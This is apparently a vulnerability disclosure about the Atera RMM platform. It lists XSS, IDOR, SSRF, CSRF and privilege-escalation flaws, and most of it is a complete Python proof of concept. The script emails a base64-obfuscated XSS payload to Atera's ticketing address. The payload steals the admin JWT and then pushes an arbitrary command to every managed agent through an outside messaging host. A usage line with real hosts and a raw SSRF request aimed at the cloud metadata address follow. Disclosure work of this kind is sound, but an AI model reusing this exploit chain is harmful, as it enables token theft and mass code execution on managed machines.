Atera
To begin, we are still wating for a response from Atera’s (CISO)
Atera in 2021 was vulnerable to a XSS that allowed an attacker to trigger an RCE on all agents that it was managing. For this to succeed an attacker only had to create an ticket through email or portal also sending an XSS through chat was possible. Below the attack flow.
All XSS can trigger the Code execution flow on all agents or steal the JWT-Token. XSS1 - Sending XSS through email ticket -> Remote attacker can use this to execute code on agents XSS2 - Sending XSS through portal ticket -> Remote attacker can use this to execute code on agents XSS3 - Sending XSS through Chat (agent -> technical/admin) -> Remote attacker can use this to execute code on agents XSS4 - in admin logging XSS5 - in tags
IDOR1 - Account takeover, with a valid customerportal account it is possible to add this to any other customer account, change email, make primary contact, etc IDOR2 - Privilege escalation from technical user to Admin
SSRF - PDF allows to embed a iframe to include local files or request internal/external hosts
Sensitive data exposure - all customer information is readable through customerportal, data like password-hashes, tickets created, Personal information
CSRF - The code execution flow for the agents are missing CSRF protection.
Privilege escalation on endpoint - the Splashtop Streamer used by the agents is vulnerable to DLL proxying, it is possible to execute arbitrary code under SYSTEM rights.
import smtplib
from base64 import b64encode
import argparse
class exploit:
def __init__(self, dstemail, frmemail, smtpsrv, command):
self.smtpsrv = smtpsrv
self.command = command
self.dstemail = dstemail
self.frmemail = frmemail
def run(self):
payload = self.prepXssEventPayload()
try:
msg = """From: {frmemail}
To: {dstemail}
Subject: Attention1!
Content-type: text/html
<script>eval(atob("{payload}"));</script>
\r\n\r\n""".format(dstemail=self.dstemail,frmemail=self.frmemail, payload=payload)
# print (msg)
server = smtplib.SMTP(self.smtpsrv)
server.sendmail(self.frmemail, self.dstemail, msg)
server.quit()
print ("Payload dropped, now wait for a user to access the ticket.")
except Exception as e:
print (e)
def prepXssEventPayload(self):
xsspayload = """function getJWT() {{
return new Promise( resolve => {{
var iframe = document.createElement('iframe');
iframe.style.display = "none";
iframe.src = "/auth0.html";
document.body.appendChild(iframe);
console.log("injected iframe")
setTimeout(() => {{ resolve(localStorage.getItem("X-Atera-JWT")) }}, 10000);
}}
)
}}
function request(m, url, token) {{
return new Promise(function (resolve, reject) {{
const xhr = new XMLHttpRequest();
xhr.timeout = 2000;
xhr.onreadystatechange = function(e) {{
if (xhr.readyState === 4) {{
if (xhr.status === 200) {{
resolve(xhr.response)
}} else {{
reject(xhr.status)
}}
}}
}}
xhr.ontimeout = function () {{
reject('timeout')
}}
xhr.open(m, url, true)
xhr.responseType = 'json';
xhr.setRequestHeader('Authorization', "Bearer " + token);
xhr.send();
}})
}}
async function FetchToken() {{
var token = await getJWT();
console.log("Got token: " + token);
agentGuid = '/breeze/GenericTicketing/Lookups/DevicesView_Advanced?$inlinecount=allpages&$orderby=AlertsPaused%20desc,%20TopSeverity%20desc,AlertsCount%20desc&CustomFieldsFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&AdvancedFilters=%7B%22All%22:%5B%5D,%22Any%22:%5B%5D%7D&DeviceType=-1&$top=2000000';
const userRequest = request("GET",agentGuid, token)
userRequest
// .then(getJWT)
.then(getAgents)
.then(getKeys)
.then(rce)
.catch(handleErrors)
function getAgents(agents) {{
console.log("Fetching agents")
//console.log(agents)
return Promise.all(agents.Results.map(function(_Agents) {{
for (var key in _Agents){{
console.log(_Agents.DeviceGuid)
DeviceGuid = _Agents.DeviceGuid
console.log("DeviceGuid: " + DeviceGuid)
url = '/interactivepackages/grant?interactivePackageName=Powershell&agentGuid='+DeviceGuid;
a = request("POST", url,token)
console.log(a)
return a
}}
}}))
}}
function getKeys(agentKeys) {{
return Promise.all(agentKeys.map(function(_Keys) {{
Channel = _Keys.Channel
PubKey = _Keys.PubKey
SubKey = _Keys.SubKey
console.log("Keys: " + Channel, PubKey, SubKey, DeviceGuid)
url = '/package/requestguid?agentGuid='+DeviceGuid+'&packageName=AgentPackageRunCommandInteractive&packgeCommand='+Channel+'%201%20123456789012';
request("POST", url, token)
return Channel, PubKey, SubKey, DeviceGuid
}}))
}}
function rce(_Keys) {{
return Promise.all(_Keys.map(function(key) {{
console.log(key)
rce="{command}"
command = "{{\\"MessageType\\":0,\\"CommandText\\":\\""+rce+"\\"}}";
console.log("Executing: " + rce)
url = 'https://p2.pndsn.com/publish/'+PubKey+'/'+SubKey+'/0/'+Channel+'/0/'+command;
setTimeout(() => {{ request("GET", url,token) }}, 2000);
console.log("Finished")
return "Finished"
}}))
}}
function handleErrors(error) {{
console.error('Something went wrong ', error)
}}
}}
FetchToken();""".format(command=self.command)
payload_bytes = xsspayload.encode('ascii')
base64_bytes = b64encode(payload_bytes)
base64_payload = base64_bytes.decode("utf-8")
payload = base64_payload
return payload
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='ZeroClick XSS to RCE in Atera agents')
parser.add_argument('--dstemail', '-d',
required=True,
help='Destination email')
parser.add_argument('--frmemail', '-f',
required=True,
help='From email')
parser.add_argument('--smtpsrv', '-s',
required=True,
help='SMTP server')
parser.add_argument('--command', '-c',
default="whoami > c:/wbsec.txt",
help='command to execute')
args = parser.parse_args()
dstemail = args.dstemail
frmemail = args.frmemail
smtpsrv = args.smtpsrv
command = args.command
x = exploit(dstemail,frmemail,smtpsrv,command)
x.run()
running this code python3 poc.py -d AutoMail470578236@ticketing.atera.com -f attacker@example.com -s inbound-smtp.eu-west-1.amazonaws.com:25 -c notepad.exe
will result in notepad being executed like in the screenshots below or this POC
SSRF in IFRAME in PDF generator (Might not be resolved?)
POST /reports/export/pdf HTTP/1.1
Host: app.atera.com
html=%253Cdiv%253E%250A%253Ciframe%2520src%253D%2522http%253A%252F%252F169%252E254%252E169%252E254%252Fmetadata%252Finstance%253Fapi%252Dversion%253D2017%252D04%252D02%2522%253E%253C%252Fiframe%253E%250A%253C%252Fdiv%253E
Product description
- All-in-one, One comprehensive RMM solution built for IT professionals.
Remote Monitoring and Management, Remote Access, Helpdesk, Billing, and Reporting. You get every feature, every tool — everything you need — to streamline your workflow and start looking forward to Monday mornings again.
Links
CVE’s
No CVE because it is a SaaS application.
CVE-2021-43402 Privilege escalation on endpoints discoverd by Hidde Smit